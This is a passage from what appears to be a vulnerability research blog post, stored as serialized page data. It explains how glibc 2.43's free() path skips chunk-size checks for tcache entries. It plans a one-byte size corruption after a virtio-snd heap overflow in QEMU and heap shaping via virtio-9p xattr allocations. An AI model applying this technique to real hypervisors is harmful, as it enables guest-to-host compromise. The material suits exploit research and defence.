check_inuse_chunk",{"type":25,"tag":271,"props":139575,"children":139576},{"style":13625},[139577],{"type":30,"value":139578},"(av, p);\n",{"type":25,"tag":271,"props":139580,"children":139581},{"class":13593,"line":16915},[139582],{"type":25,"tag":271,"props":139583,"children":139584},{"emptyLinePlaceholder":18},[139585],{"type":30,"value":16829},{"type":25,"tag":271,"props":139587,"children":139588},{"class":13593,"line":16945},[139589],{"type":25,"tag":271,"props":139590,"children":139591},{"style":13625},[139592],{"type":30,"value":139593},"  [...]\n",{"type":25,"tag":26,"props":139595,"children":139596},{},[139597],{"type":30,"value":139598},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":25,"tag":26,"props":139600,"children":139601},{},[139602,139604,139609,139611,139616,139618,139623,139625,139630],{"type":30,"value":139603},"The next check, however, ensures that the ",{"type":25,"tag":264,"props":139605,"children":139607},{"className":139606},[],[139608],{"type":30,"value":136700},{"type":30,"value":139610}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":25,"tag":264,"props":139612,"children":139614},{"className":139613},[],[139615],{"type":30,"value":136700},{"type":30,"value":139617}," must preserve alignment while also avoiding the ",{"type":25,"tag":264,"props":139619,"children":139621},{"className":139620},[],[139622],{"type":30,"value":138869},{"type":30,"value":139624}," bit. Under those constraints, exploiting the bug through ",{"type":25,"tag":264,"props":139626,"children":139628},{"className":139627},[],[139629],{"type":30,"value":136700},{"type":30,"value":139631}," corruption looked very unreliable at first.",{"type":25,"tag":26,"props":139633,"children":139634},{},[139635],{"type":30,"value":139636},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":25,"tag":7764,"props":139638,"children":139640},{"code":139639,"language":13243,"meta":7,"className":29637,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[139641],{"type":25,"tag":264,"props":139642,"children":139643},{"__ignoreMap":7},[139644,139652,139679,139686,139693,139700,139719,139726,139746,139753,139781,139805,139812,139825,139867,139874,139882,139889,139906],{"type":25,"tag":271,"props":139645,"children":139646},{"class":13593,"line":13594},[139647],{"type":25,"tag":271,"props":139648,"children":139649},{"style":14289},[139650],{"type":30,"value":139651},"void\n",{"type":25,"tag":271,"props":139653,"children":139654},{"class":13593,"line":11641},[139655,139659,139663,139667,139671,139675],{"type":25,"tag":271,"props":139656,"children":139657},{"style":13620},[139658],{"type":30,"value":138917},{"type":25,"tag":271,"props":139660,"children":139661},{"style":13625},[139662],{"type":30,"value":16213},{"type":25,"tag":271,"props":139664,"children":139665},{"style":14289},[139666],{"type":30,"value":64743},{"type":25,"tag":271,"props":139668,"children":139669},{"style":13603},[139670],{"type":30,"value":22940},{"type":25,"tag":271,"props":139672,"children":139673},{"style":13598},[139674],{"type":30,"value":53775},{"type":25,"tag":271,"props":139676,"children":139677},{"style":13625},[139678],{"type":30,"value":16299},{"type":25,"tag":271,"props":139680,"children":139681},{"class":13593,"line":14354},[139682],{"type":25,"tag":271,"props":139683,"children":139684},{"style":13625},[139685],{"type":30,"value":24005},{"type":25,"tag":271,"props":139687,"children":139688},{"class":13593,"line":14391},[139689],{"type":25,"tag":271,"props":139690,"children":139691},{"style":13625},[139692],{"type":30,"value":138960},{"type":25,"tag":271,"props":139694,"children":139695},{"class":13593,"line":14400},[139696],{"type":25,"tag":271,"props":139697,"children":139698},{"emptyLinePlaceholder":18},[139699],{"type":30,"value":16829},{"type":25,"tag":271,"props":139701,"children":139702},{"class":13593,"line":16406},[139703,139707,139711,139715],{"type":25,"tag":271,"props":139704,"children":139705},{"style":13625},[139706],{"type":30,"value":138975},{"type":25,"tag":271,"props":139708,"children":139709},{"style":13603},[139710],{"type":30,"value":1065},{"type":25,"tag":271,"props":139712,"children":139713},{"style":13620},[139714],{"type":30,"value":138984},{"type":25,"tag":271,"props":139716,"children":139717},{"style":13625},[139718],{"type":30,"value":138989},{"type":25,"tag":271,"props":139720,"children":139721},{"class":13593,"line":16434},[139722],{"type":25,"tag":271,"props":139723,"children":139724},{"emptyLinePlaceholder":18},[139725],{"type":30,"value":16829},{"type":25,"tag":271,"props":139727,"children":139728},{"class":13593,"line":16447},[139729,139734,139738,139742],{"type":25,"tag":271,"props":139730,"children":139731},{"style":13625},[139732],{"type":30,"value":139733},"  INTERNAL_SIZE_T size ",{"type":25,"tag":271,"props":139735,"children":139736},{"style":13603},[139737],{"type":30,"value":1065},{"type":25,"tag":271,"props":139739,"children":139740},{"style":13620},[139741],{"type":30,"value":139311},{"type":25,"tag":271,"props":139743,"children":139744},{"style":13625},[139745],{"type":30,"value":139030},{"type":25,"tag":271,"props":139747,"children":139748},{"class":13593,"line":16465},[139749],{"type":25,"tag":271,"props":139750,"children":139751},{"emptyLinePlaceholder":18},[139752],{"type":30,"value":16829},{"type":25,"tag":271,"props":139754,"children":139755},{"class":13593,"line":16486},[139756,139760,139764,139768,139772,139776],{"type":25,"tag":271,"props":139757,"children":139758},{"style":16171},[139759],{"type":30,"value":44506},{"type":25,"tag":271,"props":139761,"children":139762},{"style":13625},[139763],{"type":30,"value":16213},{"type":25,"tag":271,"props":139765,"children":139766},{"style":13620},[139767],{"type":30,"value":139506},{"type":25,"tag":271,"props":139769,"children":139770},{"style":13625},[139771],{"type":30,"value":16213},{"type":25,"tag":271,"props":139773,"children":139774},{"style":13620},[139775],{"type":30,"value":139440},{"type":25,"tag":271,"props":139777,"children":139778},{"style":13625},[139779],{"type":30,"value":139780}," (p)))\n",{"type":25,"tag":271,"props":139782,"children":139783},{"class":13593,"line":16495},[139784,139788,139793,139797,139801],{"type":25,"tag":271,"props":139785,"children":139786},{"style":16171},[139787],{"type":30,"value":30111},{"type":25,"tag":271,"props":139789,"children":139790},{"style":13620},[139791],{"type":30,"value":139792}," malloc_printerr_tail",{"type":25,"tag":271,"props":139794,"children":139795},{"style":13625},[139796],{"type":30,"value":16213},{"type":25,"tag":271,"props":139798,"children":139799},{"style":17388},[139800],{"type":30,"value":139470},{"type":25,"tag":271,"props":139802,"children":139803},{"style":13625},[139804],{"type":30,"value":13665},{"type":25,"tag":271,"props":139806,"children":139807},{"class":13593,"line":16744},[139808],{"type":25,"tag":271,"props":139809,"children":139810},{"emptyLinePlaceholder":18},[139811],{"type":30,"value":16829},{"type":25,"tag":271,"props":139813,"children":139814},{"class":13593,"line":16761},[139815,139820],{"type":25,"tag":271,"props":139816,"children":139817},{"style":16171},[139818],{"type":30,"value":139819},"#if",{"type":25,"tag":271,"props":139821,"children":139822},{"style":13620},[139823],{"type":30,"value":139824}," USE_TCACHE\n",{"type":25,"tag":271,"props":139826,"children":139827},{"class":13593,"line":16778},[139828,139832,139836,139841,139845,139849,139854,139858,139863],{"type":25,"tag":271,"props":139829,"children":139830},{"style":16171},[139831],{"type":30,"value":44506},{"type":25,"tag":271,"props":139833,"children":139834},{"style":13625},[139835],{"type":30,"value":16213},{"type":25,"tag":271,"props":139837,"children":139838},{"style":13620},[139839],{"type":30,"value":139840},"__glibc_likely",{"type":25,"tag":271,"props":139842,"children":139843},{"style":13625},[139844],{"type":30,"value":139511},{"type":25,"tag":271,"props":139846,"children":139847},{"style":13603},[139848],{"type":30,"value":14307},{"type":25,"tag":271,"props":139850,"children":139851},{"style":13598},[139852],{"type":30,"value":139853}," mp_",{"type":25,"tag":271,"props":139855,"children":139856},{"style":13625},[139857],{"type":30,"value":1860},{"type":25,"tag":271,"props":139859,"children":139860},{"style":13598},[139861],{"type":30,"value":139862},"tcache_max_bytes",{"type":25,"tag":271,"props":139864,"children":139865},{"style":13625},[139866],{"type":30,"value":32833},{"type":25,"tag":271,"props":139868,"children":139869},{"class":13593,"line":16791},[139870],{"type":25,"tag":271,"props":139871,"children":139872},{"style":13625},[139873],{"type":30,"value":42299},{"type":25,"tag":271,"props":139875,"children":139876},{"class":13593,"line":16800},[139877],{"type":25,"tag":271,"props":139878,"children":139879},{"style":13625},[139880],{"type":30,"value":139881},"      [...]\n",{"type":25,"tag":271,"props":139883,"children":139884},{"class":13593,"line":16823},[139885],{"type":25,"tag":271,"props":139886,"children":139887},{"emptyLinePlaceholder":18},[139888],{"type":30,"value":16829},{"type":25,"tag":271,"props":139890,"children":139891},{"class":13593,"line":16832},[139892,139896,139901],{"type":25,"tag":271,"props":139893,"children":139894},{"style":16171},[139895],{"type":30,"value":52467},{"type":25,"tag":271,"props":139897,"children":139898},{"style":13620},[139899],{"type":30,"value":139900}," tcache_put",{"type":25,"tag":271,"props":139902,"children":139903},{"style":13625},[139904],{"type":30,"value":139905}," (p, tc_idx);\n",{"type":25,"tag":271,"props":139907,"children":139908},{"class":13593,"line":16841},[139909],{"type":25,"tag":271,"props":139910,"children":139911},{"style":13625},[139912],{"type":30,"value":16501},{"type":25,"tag":26,"props":139914,"children":139915},{},[139916,139918,139923],{"type":30,"value":139917},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":25,"tag":264,"props":139919,"children":139921},{"className":139920},[],[139922],{"type":30,"value":136700},{"type":30,"value":139924}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":25,"tag":26,"props":139926,"children":139927},{},[139928,139930,139936,139937,139942],{"type":30,"value":139929},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":25,"tag":264,"props":139931,"children":139933},{"className":139932},[],[139934],{"type":30,"value":139935},"check_inuse_chunk",{"type":30,"value":16213},{"type":25,"tag":264,"props":139938,"children":139940},{"className":139939},[],[139941],{"type":30,"value":136828},{"type":30,"value":11371},{"type":25,"tag":7764,"props":139944,"children":139946},{"code":139945,"language":13243,"meta":7,"className":29637,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[139947],{"type":25,"tag":264,"props":139948,"children":139949},{"__ignoreMap":7},[139950,139957,139984,139991,139998,140005,140024,140031,140050,140057,140084,140107,140114,140140,140147,140158,140215],{"type":25,"tag":271,"props":139951,"children":139952},{"class":13593,"line":13594},[139953],{"type":25,"tag":271,"props":139954,"children":139955},{"style":14289},[139956],{"type":30,"value":139651},{"type":25,"tag":271,"props":139958,"children":139959},{"class":13593,"line":11641},[139960,139964,139968,139972,139976,139980],{"type":25,"tag":271,"props":139961,"children":139962},{"style":13620},[139963],{"type":30,"value":138917},{"type":25,"tag":271,"props":139965,"children":139966},{"style":13625},[139967],{"type":30,"value":16213},{"type":25,"tag":271,"props":139969,"children":139970},{"style":14289},[139971],{"type":30,"value":64743},{"type":25,"tag":271,"props":139973,"children":139974},{"style":13603},[139975],{"type":30,"value":22940},{"type":25,"tag":271,"props":139977,"children":139978},{"style":13598},[139979],{"type":30,"value":53775},{"type":25,"tag":271,"props":139981,"children":139982},{"style":13625},[139983],{"type":30,"value":16299},{"type":25,"tag":271,"props":139985,"children":139986},{"class":13593,"line":14354},[139987],{"type":25,"tag":271,"props":139988,"children":139989},{"style":13625},[139990],{"type":30,"value":24005},{"type":25,"tag":271,"props":139992,"children":139993},{"class":13593,"line":14391},[139994],{"type":25,"tag":271,"props":139995,"children":139996},{"style":13625},[139997],{"type":30,"value":138960},{"type":25,"tag":271,"props":139999,"children":140000},{"class":13593,"line":14400},[140001],{"type":25,"tag":271,"props":140002,"children":140003},{"emptyLinePlaceholder":18},[140004],{"type":30,"value":16829},{"type":25,"tag":271,"props":140006,"children":140007},{"class":13593,"line":16406},[140008,140012,140016,140020],{"type":25,"tag":271,"props":140009,"children":140010},{"style":13625},[140011],{"type":30,"value":138975},{"type":25,"tag":271,"props":140013,"children":140014},{"style":13603},[140015],{"type":30,"value":1065},{"type":25,"tag":271,"props":140017,"children":140018},{"style":13620},[140019],{"type":30,"value":138984},{"type":25,"tag":271,"props":140021,"children":140022},{"style":13625},[140023],{"type":30,"value":138989},{"type":25,"tag":271,"props":140025,"children":140026},{"class":13593,"line":16434},[140027],{"type":25,"tag":271,"props":140028,"children":140029},{"emptyLinePlaceholder":18},[140030],{"type":30,"value":16829},{"type":25,"tag":271,"props":140032,"children":140033},{"class":13593,"line":16447},[140034,140038,140042,140046],{"type":25,"tag":271,"props":140035,"children":140036},{"style":13625},[140037],{"type":30,"value":139733},{"type":25,"tag":271,"props":140039,"children":140040},{"style":13603},[140041],{"type":30,"value":1065},{"type":25,"tag":271,"props":140043,"children":140044},{"style":13620},[140045],{"type":30,"value":139311},{"type":25,"tag":271,"props":140047,"children":140048},{"style":13625},[140049],{"type":30,"value":139030},{"type":25,"tag":271,"props":140051,"children":140052},{"class":13593,"line":16465},[140053],{"type":25,"tag":271,"props":140054,"children":140055},{"emptyLinePlaceholder":18},[140056],{"type":30,"value":16829},{"type":25,"tag":271,"props":140058,"children":140059},{"class":13593,"line":16486},[140060,140064,140068,140072,140076,140080],{"type":25,"tag":271,"props":140061,"children":140062},{"style":16171},[140063],{"type":30,"value":44506},{"type":25,"tag":271,"props":140065,"children":140066},{"style":13625},[140067],{"type":30,"value":16213},{"type":25,"tag":271,"props":140069,"children":140070},{"style":13620},[140071],{"type":30,"value":139506},{"type":25,"tag":271,"props":140073,"children":140074},{"style":13625},[140075],{"type":30,"value":16213},{"type":25,"tag":271,"props":140077,"children":140078},{"style":13620},[140079],{"type":30,"value":139440},{"type":25,"tag":271,"props":140081,"children":140082},{"style":13625},[140083],{"type":30,"value":139780},{"type":25,"tag":271,"props":140085,"children":140086},{"class":13593,"line":16495},[140087,140091,140095,140099,140103],{"type":25,"tag":271,"props":140088,"children":140089},{"style":16171},[140090],{"type":30,"value":30111},{"type":25,"tag":271,"props":140092,"children":140093},{"style":13620},[140094],{"type":30,"value":139792},{"type":25,"tag":271,"props":140096,"children":140097},{"style":13625},[140098],{"type":30,"value":16213},{"type":25,"tag":271,"props":140100,"children":140101},{"style":17388},[140102],{"type":30,"value":139470},{"type":25,"tag":271,"props":140104,"children":140105},{"style":13625},[140106],{"type":30,"value":13665},{"type":25,"tag":271,"props":140108,"children":140109},{"class":13593,"line":16744},[140110],{"type":25,"tag":271,"props":140111,"children":140112},{"emptyLinePlaceholder":18},[140113],{"type":30,"value":16829},{"type":25,"tag":271,"props":140115,"children":140116},{"class":13593,"line":16761},[140117,140121,140125,140130,140135],{"type":25,"tag":271,"props":140118,"children":140119},{"style":13620},[140120],{"type":30,"value":139573},{"type":25,"tag":271,"props":140122,"children":140123},{"style":13625},[140124],{"type":30,"value":16213},{"type":25,"tag":271,"props":140126,"children":140127},{"style":13620},[140128],{"type":30,"value":140129},"arena_for_chunk",{"type":25,"tag":271,"props":140131,"children":140132},{"style":13625},[140133],{"type":30,"value":140134}," (p), p);",{"type":25,"tag":271,"props":140136,"children":140137},{"style":14385},[140138],{"type":30,"value":140139},"             // [1]\n",{"type":25,"tag":271,"props":140141,"children":140142},{"class":13593,"line":16778},[140143],{"type":25,"tag":271,"props":140144,"children":140145},{"emptyLinePlaceholder":18},[140146],{"type":30,"value":16829},{"type":25,"tag":271,"props":140148,"children":140149},{"class":13593,"line":16791},[140150,140154],{"type":25,"tag":271,"props":140151,"children":140152},{"style":16171},[140153],{"type":30,"value":139819},{"type":25,"tag":271,"props":140155,"children":140156},{"style":13620},[140157],{"type":30,"value":139824},{"type":25,"tag":271,"props":140159,"children":140160},{"class":13593,"line":16800},[140161,140165,140169,140173,140177,140181,140185,140189,140193,140197,140202,140206,140211],{"type":25,"tag":271,"props":140162,"children":140163},{"style":16171},[140164],{"type":30,"value":44506},{"type":25,"tag":271,"props":140166,"children":140167},{"style":13625},[140168],{"type":30,"value":16213},{"type":25,"tag":271,"props":140170,"children":140171},{"style":13620},[140172],{"type":30,"value":139840},{"type":25,"tag":271,"props":140174,"children":140175},{"style":13625},[140176],{"type":30,"value":139511},{"type":25,"tag":271,"props":140178,"children":140179},{"style":13603},[140180],{"type":30,"value":14307},{"type":25,"tag":271,"props":140182,"children":140183},{"style":13598},[140184],{"type":30,"value":139853},{"type":25,"tag":271,"props":140186,"children":140187},{"style":13625},[140188],{"type":30,"value":1860},{"type":25,"tag":271,"props":140190,"children":140191},{"style":13598},[140192],{"type":30,"value":139862},{"type":25,"tag":271,"props":140194,"children":140195},{"style":13603},[140196],{"type":30,"value":27306},{"type":25,"tag":271,"props":140198,"children":140199},{"style":13625},[140200],{"type":30,"value":140201}," tcache ",{"type":25,"tag":271,"props":140203,"children":140204},{"style":13603},[140205],{"type":30,"value":28810},{"type":25,"tag":271,"props":140207,"children":140208},{"style":14289},[140209],{"type":30,"value":140210}," NULL",{"type":25,"tag":271,"props":140212,"children":140213},{"style":13625},[140214],{"type":30,"value":32833},{"type":25,"tag":271,"props":140216,"children":140217},{"class":13593,"line":16823},[140218],{"type":25,"tag":271,"props":140219,"children":140220},{"style":13625},[140221],{"type":30,"value":139593},{"type":25,"tag":26,"props":140223,"children":140224},{},[140225,140227,140232],{"type":30,"value":140226},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":25,"tag":264,"props":140228,"children":140230},{"className":140229},[],[140231],{"type":30,"value":136700},{"type":30,"value":140233},", because on the latest 2.43 glibc they are non-existent.",{"type":25,"tag":92,"props":140235,"children":140236},{},[],{"type":25,"tag":26,"props":140238,"children":140239},{},[140240,140242,140247,140249,140255,140257,140262,140264,140270],{"type":30,"value":140241},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":25,"tag":264,"props":140243,"children":140245},{"className":140244},[],[140246],{"type":30,"value":136700},{"type":30,"value":140248}," field was initially ",{"type":25,"tag":264,"props":140250,"children":140252},{"className":140251},[],[140253],{"type":30,"value":140254},"0x200",{"type":30,"value":140256},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":25,"tag":264,"props":140258,"children":140260},{"className":140259},[],[140261],{"type":30,"value":138877},{"type":30,"value":140263},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":25,"tag":264,"props":140265,"children":140267},{"className":140266},[],[140268],{"type":30,"value":140269},"[0x210, 0x2f0]",{"type":30,"value":140271},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":25,"tag":26,"props":140273,"children":140274},{},[140275],{"type":30,"value":140276},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":25,"tag":247,"props":140278,"children":140280},{"id":140279},"heap-spraying",[140281],{"type":30,"value":140282},"Heap Spraying",{"type":25,"tag":26,"props":140284,"children":140285},{},[140286,140288,140293],{"type":30,"value":140287},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":25,"tag":264,"props":140289,"children":140291},{"className":140290},[],[140292],{"type":30,"value":140254},{"type":30,"value":140294},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":25,"tag":26,"props":140296,"children":140297},{},[140298,140300,140305],{"type":30,"value":140299},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":25,"tag":264,"props":140301,"children":140303},{"className":140302},[],[140304],{"type":30,"value":136895},{"type":30,"value":140306}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":25,"tag":26,"props":140308,"children":140309},{},[140310],{"type":30,"value":140311},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":25,"tag":2352,"props":140313,"children":140315},{"id":140314},"virtio-9p",[140316],{"type":30,"value":140314},{"type":25,"tag":26,"props":140318,"children":140319},{},[140320,140325],{"type":25,"tag":264,"props":140321,"children":140323},{"className":140322},[],[140324],{"type":30,"value":140314},{"type":30,"value":140326}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":25,"tag":26,"props":140328,"children":140329},{},[140330,140332,140338,140340,140346,140347,140353,140355,140360],{"type":30,"value":140331},"Through a ",{"type":25,"tag":264,"props":140333,"children":140335},{"className":140334},[],[140336],{"type":30,"value":140337},"P9_TXATTRCREATE",{"type":30,"value":140339}," request, we can allocate host-side buffers for both the ",{"type":25,"tag":264,"props":140341,"children":140343},{"className":140342},[],[140344],{"type":30,"value":140345},".name",{"type":30,"value":12218},{"type":25,"tag":264,"props":140348,"children":140350},{"className":140349},[],[140351],{"type":30,"value":140352},".value",{"type":30,"value":140354}," fields, with the size of ",{"type":25,"tag":264,"props":140356,"children":140358},{"className":140357},[],[140359],{"type":30,"value":140352},{"type":30,"value":140361}," being directly controlled by the guest.",{"type":25,"tag":7764,"props":140363,"children":140365},{"code":140364,"language":13243,"meta":7,"className":29637,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[140366],{"type":25,"tag":264,"props":140367,"children":140368},{"__ignoreMap":7},[140369,140411,140418,140442,140455,140466,140491,140499,140524,140541,140557,140583,140590,140611,140677,140701,140714,140721,140728,140735,140742,140762,140783,140794,140801,140808,140815,140822,140871,140927,140972],{"type":25,"tag":271,"props":140370,"children":140371},{"class":13593,"line":13594},[140372,140376,140380,140385,140390,140394,140398,140402,140407],{"type":25,"tag":271,"props":140373,"children":140374},{"style":14289},[140375],{"type":30,"value":64160},{"type":25,"tag":271,"props":140377,"children":140378},{"style":14289},[140379],{"type":30,"value":64165},{"type":25,"tag":271,"props":140381,"children":140382},{"style":13625},[140383],{"type":30,"value":140384}," coroutine_fn ",{"type":25,"tag":271,"props":140386,"children":140387},{"style":13620},[140388],{"type":30,"value":140389},"v9fs_xattrcreate",{"type":25,"tag":271,"props":140391,"children":140392},{"style":13625},[140393],{"type":30,"value":394},{"type":25,"tag":271,"props":140395,"children":140396},{"style":14289},[140397],{"type":30,"value":64743},{"type":25,"tag":271,"props":140399,"children":140400},{"style":13603},[140401],{"type":30,"value":22940},{"type":25,"tag":271,"props":140403,"children":140404},{"style":13598},[140405],{"type":30,"value":140406},"opaque",{"type":25,"tag":271,"props":140408,"children":140409},{"style":13625},[140410],{"type":30,"value":16299},{"type":25,"tag":271,"props":140412,"children":140413},{"class":13593,"line":11641},[140414],{"type":25,"tag":271,"props":140415,"children":140416},{"style":13625},[140417],{"type":30,"value":24005},{"type":25,"tag":271,"props":140419,"children":140420},{"class":13593,"line":14354},[140421,140425,140430,140434,140438],{"type":25,"tag":271,"props":140422,"children":140423},{"style":14289},[140424],{"type":30,"value":32198},{"type":25,"tag":271,"props":140426,"children":140427},{"style":13625},[140428],{"type":30,"value":140429}," flags, rflags ",{"type":25,"tag":271,"props":140431,"children":140432},{"style":13603},[140433],{"type":30,"value":1065},{"type":25,"tag":271,"props":140435,"children":140436},{"style":16187},[140437],{"type":30,"value":16190},{"type":25,"tag":271,"props":140439,"children":140440},{"style":13625},[140441],{"type":30,"value":16165},{"type":25,"tag":271,"props":140443,"children":140444},{"class":13593,"line":14391},[140445,140450],{"type":25,"tag":271,"props":140446,"children":140447},{"style":14289},[140448],{"type":30,"value":140449},"    int32_t",{"type":25,"tag":271,"props":140451,"children":140452},{"style":13625},[140453],{"type":30,"value":140454}," fid;\n",{"type":25,"tag":271,"props":140456,"children":140457},{"class":13593,"line":14400},[140458,140462],{"type":25,"tag":271,"props":140459,"children":140460},{"style":14289},[140461],{"type":30,"value":68729},{"type":25,"tag":271,"props":140463,"children":140464},{"style":13625},[140465],{"type":30,"value":137042},{"type":25,"tag":271,"props":140467,"children":140468},{"class":13593,"line":16406},[140469,140474,140479,140483,140487],{"type":25,"tag":271,"props":140470,"children":140471},{"style":14289},[140472],{"type":30,"value":140473},"    ssize_t",{"type":25,"tag":271,"props":140475,"children":140476},{"style":13625},[140477],{"type":30,"value":140478}," err ",{"type":25,"tag":271,"props":140480,"children":140481},{"style":13603},[140482],{"type":30,"value":1065},{"type":25,"tag":271,"props":140484,"children":140485},{"style":16187},[140486],{"type":30,"value":16190},{"type":25,"tag":271,"props":140488,"children":140489},{"style":13625},[140490],{"type":30,"value":16165},{"type":25,"tag":271,"props":140492,"children":140493},{"class":13593,"line":16434},[140494],{"type":25,"tag":271,"props":140495,"children":140496},{"style":13625},[140497],{"type":30,"value":140498},"    V9fsString name;\n",{"type":25,"tag":271,"props":140500,"children":140501},{"class":13593,"line":16447},[140502,140506,140511,140515,140520],{"type":25,"tag":271,"props":140503,"children":140504},{"style":14289},[140505],{"type":30,"value":29687},{"type":25,"tag":271,"props":140507,"children":140508},{"style":13625},[140509],{"type":30,"value":140510}," offset ",{"type":25,"tag":271,"props":140512,"children":140513},{"style":13603},[140514],{"type":30,"value":1065},{"type":25,"tag":271,"props":140516,"children":140517},{"style":16187},[140518],{"type":30,"value":140519}," 7",{"type":25,"tag":271,"props":140521,"children":140522},{"style":13625},[140523],{"type":30,"value":16165},{"type":25,"tag":271,"props":140525,"children":140526},{"class":13593,"line":16465},[140527,140532,140536],{"type":25,"tag":271,"props":140528,"children":140529},{"style":13625},[140530],{"type":30,"value":140531},"    V9fsFidState ",{"type":25,"tag":271,"props":140533,"children":140534},{"style":13603},[140535],{"type":30,"value":17702},{"type":25,"tag":271,"props":140537,"children":140538},{"style":13625},[140539],{"type":30,"value":140540},"file_fidp;\n",{"type":25,"tag":271,"props":140542,"children":140543},{"class":13593,"line":16486},[140544,140548,140552],{"type":25,"tag":271,"props":140545,"children":140546},{"style":13625},[140547],{"type":30,"value":140531},{"type":25,"tag":271,"props":140549,"children":140550},{"style":13603},[140551],{"type":30,"value":17702},{"type":25,"tag":271,"props":140553,"children":140554},{"style":13625},[140555],{"type":30,"value":140556},"xattr_fidp;\n",{"type":25,"tag":271,"props":140558,"children":140559},{"class":13593,"line":16495},[140560,140565,140569,140574,140578],{"type":25,"tag":271,"props":140561,"children":140562},{"style":13625},[140563],{"type":30,"value":140564},"    V9fsPDU ",{"type":25,"tag":271,"props":140566,"children":140567},{"style":13603},[140568],{"type":30,"value":17702},{"type":25,"tag":271,"props":140570,"children":140571},{"style":13625},[140572],{"type":30,"value":140573},"pdu ",{"type":25,"tag":271,"props":140575,"children":140576},{"style":13603},[140577],{"type":30,"value":1065},{"type":25,"tag":271,"props":140579,"children":140580},{"style":13625},[140581],{"type":30,"value":140582}," opaque;\n",{"type":25,"tag":271,"props":140584,"children":140585},{"class":13593,"line":16744},[140586],{"type":25,"tag":271,"props":140587,"children":140588},{"emptyLinePlaceholder":18},[140589],{"type":30,"value":16829},{"type":25,"tag":271,"props":140591,"children":140592},{"class":13593,"line":16761},[140593,140598,140602,140606],{"type":25,"tag":271,"props":140594,"children":140595},{"style":13620},[140596],{"type":30,"value":140597},"    v9fs_string_init",{"type":25,"tag":271,"props":140599,"children":140600},{"style":13625},[140601],{"type":30,"value":394},{"type":25,"tag":271,"props":140603,"children":140604},{"style":13603},[140605],{"type":30,"value":13632},{"type":25,"tag":271,"props":140607,"children":140608},{"style":13625},[140609],{"type":30,"value":140610},"name);\n",{"type":25,"tag":271,"props":140612,"children":140613},{"class":13593,"line":16778},[140614,140619,140623,140628,140633,140638,140642,140646,140651,140655,140660,140664,140668,140672],{"type":25,"tag":271,"props":140615,"children":140616},{"style":13625},[140617],{"type":30,"value":140618},"    err ",{"type":25,"tag":271,"props":140620,"children":140621},{"style":13603},[140622],{"type":30,"value":1065},{"type":25,"tag":271,"props":140624,"children":140625},{"style":13620},[140626],{"type":30,"value":140627}," pdu_unmarshal",{"type":25,"tag":271,"props":140629,"children":140630},{"style":13625},[140631],{"type":30,"value":140632},"(pdu, offset, ",{"type":25,"tag":271,"props":140634,"children":140635},{"style":17388},[140636],{"type":30,"value":140637},"\"dsqd\"",{"type":25,"tag":271,"props":140639,"children":140640},{"style":13625},[140641],{"type":30,"value":44},{"type":25,"tag":271,"props":140643,"children":140644},{"style":13603},[140645],{"type":30,"value":13632},{"type":25,"tag":271,"props":140647,"children":140648},{"style":13625},[140649],{"type":30,"value":140650},"fid, ",{"type":25,"tag":271,"props":140652,"children":140653},{"style":13603},[140654],{"type":30,"value":13632},{"type":25,"tag":271,"props":140656,"children":140657},{"style":13625},[140658],{"type":30,"value":140659},"name, 